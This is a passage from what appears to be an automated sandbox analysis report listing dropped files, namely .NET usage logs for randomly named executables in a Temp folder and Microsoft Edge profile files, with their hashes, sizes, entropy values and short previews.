Encrypted:	false
SSDEEP:	96:iqbYqGSI6ou/fmOYqSqtzHeqKksvoqdqZ4UqqI9m1RWQvqh:iqbYqGcn/uHqXtzHeqKksvoqdqZrqqxQ
MD5:	5AE8E4F3A04541A6E49A025DC877C086
SHA1:	7369D60293F7DEEC11B8181B5E527148CE7F2F5F
SHA-256:	5262E4D29ECBC33479F0F64EC5F90AEC90055A3FC90DAAC8DDFAF7B30E5336B0
SHA-512:	FDDCB3BE9DF19ABD547A53BE3F6202DFBDBD94A362EC5D03ECC083846E75467C54682C769F41B2E99D95CD49F6F662D03B2A890FC764765EE975172088BB8F88
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_64\WindowsBase\95a5c1baa004b986366d34856f0a5a75\WindowsBase.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_64\PresentationCore\ef4e808cb158d79ab9a2b049f8fab733\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_64\Presentatio5ae0f00f#\

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NN9Dd7c.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe
File Type:	CSV text
Category:	modified
Size (bytes):	1058
Entropy (8bit):	5.356262093008712
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhwE4Ty1KIE4oKNzKoZAE4KzeR:MxHKlYHKh3owH8tHo6hAHKzeR
MD5:	B2EFBF032531DD2913F648E75696B0FD
SHA1:	3F1AC93E4C10AE6D48E6CE1745D23696FD6554F6
SHA-256:	4E02B680F9DAB8F04F2443984B5305541F73B52A612129FCD8CC0C520C831E4B
SHA-512:	79430DB7C12536BDC06F21D130026A72F97BB03994CE2F718F82BB9ACDFFCA926F1292100B58B0C788BDDF739E87965B8D46C8F003CF5087F75BEFDC406295BC
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Net.Http, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Net.Http\bb5812ab3cec92427da8c5c696e5f731\System.Net.Http.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.X

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\f4d805b7c6.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ga70pjP.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.36509199858051
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTrM3RJoDLIP12MUAvvR+uCv:Q3La/KDLI4MWuPTArkvoDLI4MWuCv
MD5:	1CF2352B684EF57925D98E766BA897F2
SHA1:	6E8CB2C1143E9D9D1211BAA811FE4CAA49C08B55
SHA-256:	43C3FB3C0B72A899C5442DAC8748D019D800E0A9421D3677EB96E196ED285290
SHA-512:	9F2D6F89453C867386A65A04FF96067FC3B23A99A4BCE0ECD227E130F409069FE6DD202D4839CBF204C3F204EC058D6CDFDADA7DD212BC2356D74FEC97F22061
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rundll32.exe.log

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	746
Entropy (8bit):	5.349174276064173
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhaOK9eDLI4MNJK9P/JNTK9yirkvoDLb:ML9E4KlKDE4KhKiKhPKIE4oKNzKogE4P
MD5:	ED994980CB1AABB953B2C8ECDC745E1F
SHA1:	9E9D3E00A69FC862F4D3C30F42BF26693A2D2A21
SHA-256:	D23B54CCF9F6327FE1158762D4E5846649699A7B78418D056A197835ED1EBE79
SHA-512:	61DFC93154BCD734B9836A6DECF93674499FF533E2B9A1188886E2CBD04DF35538368485AA7E775B641ADC120BAE1AC2551B28647951C592AA77F6747F0E9187
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1668d4ff-9743-4257-b029-2be34257d214.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45000
Entropy (8bit):	6.095272655082911
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xW5zi1zNt3qiApD09bV3rvDyVKJDSgzMMd6qD47u3+7:+/Ps+wsI7yORqiACQKtSmd6qE7lFoC
MD5:	BADF0C864B5C026EF4CFFAF208EB4955
SHA1:	4D88CF6927F6601A78DAB9EA6B70BDC03086C37A
SHA-256:	DEC3E4913CA47EE93C66EC74AF6B193D254EA67B412117DF6AF69F0C2054DB9D
SHA-512:	DE31E31573D518F4073305E3187E43913A16EC1080F58EE0880C09C565B6623AA20C03D11DD810413805F76B3CDA904CB991B9AB0A1012A2FA5BD55A6EB46744
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8c5eb02b-9dc1-41e0-9696-144aa1bcdcaf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44902
Entropy (8bit):	6.09530108771359
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWAzi1zNt3qiApD0NMTqcQxEIKJDSgzMMd6qD47u3+7:+/Ps+wsI7ynsqiACPKtSmd6qE7lFoC
MD5:	EE5E3FFADD81952C21AE950E8FA5B901
SHA1:	FDF8C67D2E0610A35ADC4FC3C7C2080286DC3C30
SHA-256:	6347E58B70361B8B7BFEB98C19F8308A2C8A685B94F871C4B987A98DDDAD57DD
SHA-512:	C72BE2F2EEF86DAD67A9B4167CA7442BC56891B2F3C74235ABAC8E0E4AB45834B986A5FD698BA3D450948AB6E185A1E1E405EDA58C0AA5C5F9453448C8B5FD8A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\946df4f2-fefe-41c5-a37c-d77b807fb7a5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089791540300082
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWodi1zNtPMNkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynU2kzItSmd6qE7lFoC
MD5:	2F3B345623438D6FAF309D6980ADB6D5
SHA1:	9EDEE784C7D824B3EFDD25E6AD15A60C19244BA0
SHA-256:	EC19C012A46D4932162CC7EB5C0F0BEE59E7355C219B0A24B6E0018C744736E5
SHA-512:	85F8B0685AB46728608A422D28D3C5F3E21A05A9FC620823882D82E53FFE29D0C0769A5DFC07DAFFF076D882A5CA3BDEADF341481D3BD372E36C0F8506BB7ED6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67643789-ADC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.3903007285881549
Encrypted:	false
SSDEEP:	3072:x8sXrWmWXi0WRSN5Rj1TUfizpw5RI/gYJKH8qQyTQXxg1HFN:bXr8L5Rj1UfinyH8qQQQXxaHj
MD5:	32DE984B87AAD49999545BCA04326C8D
SHA1:	AC74964E1166F76E3FC2ED9447CE6BF6C67BD0D2
SHA-256:	78FE310DFECADEC5AD531F9EDC0A9AC0A71C91F842E1454C6CA243D48E3E413F
SHA-512:	AC74E99C06E1D91A6E690C4C2BEC0297F0D0BC63DE5A2E977D671427E848F19C78D6FE90AA4C83CF9327126168242978694409B5F9DA0EAA6C26F348D6DD4249
Malicious:	false
Preview:	...@..@...@.....C.].....@...................X...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".hpqjfc20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2........9......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\12b52a1e-a393-4eb8-98af-ef35ed13351e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.566151882675213
Encrypted:	false
SSDEEP:	768:KyX3ylWTqW5wc6f4kr8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPqSIdyjxrwX3pNtue:KCClgqWac6flru1jaj1gCvtB
MD5:	DA85BF9197EFE75EE6EC0BBDE88C183F
SHA1:	43D59481AF509EA1E847CB9F6D0BC03738E5E48A
SHA-256:	31E3B13D2E510673AD34231828291CB1F02ACFA20F812AF53746F4DC0C0AB96F
SHA-512:	59438AFF3E426355C334C3B350A62A0C58F81FD9E2D1909C665EEA331074218215041A8B8F53C71519F11F3B40FC2D68622BA0B6A6427C7E4282EDDC0D029E0B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379094666066728","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379094666066728","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\22be7f8d-f4f2-4a4f-9dd4-61ae608b6325.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.216713805257961
Encrypted:	false
SSDEEP:	6:7ONbO7uM1N723oH+Tcwtp3hBtB2KLlpONbUF34q2PN723oH+Tcwtp3hBWsIFUv:7OU7usaYebp3dFLTOW34vVaYebp3eFUv
MD5:	6BFEBAAC9C13F4C72E76BC0D28314991
SHA1:	9EA67F0BBCE09A7229BBA4C5960EFAF3C4BEB81C
SHA-256:	EFA635671903645F176474710C64B682E08BA968F1AE896D45B595E9C133465E
SHA-512:	4C5B788879AB0CE46BC4EB4A6E3EBC68AE40704B08347B0E9AAC6B08F2195D8BE46525A4A43B3BAAA3FDE9D1747519ED70B44934A95C3C821B59B45B3D9DED69
Malicious:	false
Preview:	2024/12/19-10:11:22.726 2134 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/12/19-10:11:22.744 2134 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222866042054091
Encrypted:	false
SSDEEP:	24576:IbPMZpVpfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVpfx2mjF
MD5:	4AA6CFB16A57AC9F022A3DBB3F4642F7
SHA1:	FFABA27FBCF9CA32FCE07D003F6BA41098878B75
SHA-256:	32709B1085AE868826D4D3BF4ABE9ABE9B437D269EF24D751EA35FDFEAA7417B
SHA-512:	1E521A8CC3D73CB2F08F988711F4937159DAB102FCD800FF5DCA6E433D3218455FF2ABF1B7A36435ED95BFA6DDA7B2DADD7C483AA647C8176A281EF143606E55
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.065020727532909
Encrypted:	false
SSDEEP:	6:7ONhbs3+q2PN723oH+Tcwt9Eh1tIFUt8OONhBIZmw+OONh2VkwON723oH+Tcwt9O:7OrQOvVaYeb9Eh16FUt8OOrm/+OOrm5s
MD5:	44AB013B47C56D772DA6D13CD235E4FE
SHA1:	9573A0B0AF185B91235D3BB754F44C37863D569C
SHA-256:	F2AA8B52F49B33A997253083933EDA54009E9333429C92E1F278BD855CDD03DC
SHA-512:	F6500A31298BFAA7CD26D67878693A7B9D15E27F79237E5708DED571D68C76A485593619F86868169FF09B331861AF2D8D27EED0929A38B8933737FC9AF956A2
Malicious:	false
Preview:	2024/12/19-10:11:20.310 2298 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/12/19-10:11:20.312 2298 Recovering log #3.2024/12/19-10:11:20.327 2298 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.065020727532909
Encrypted:	false
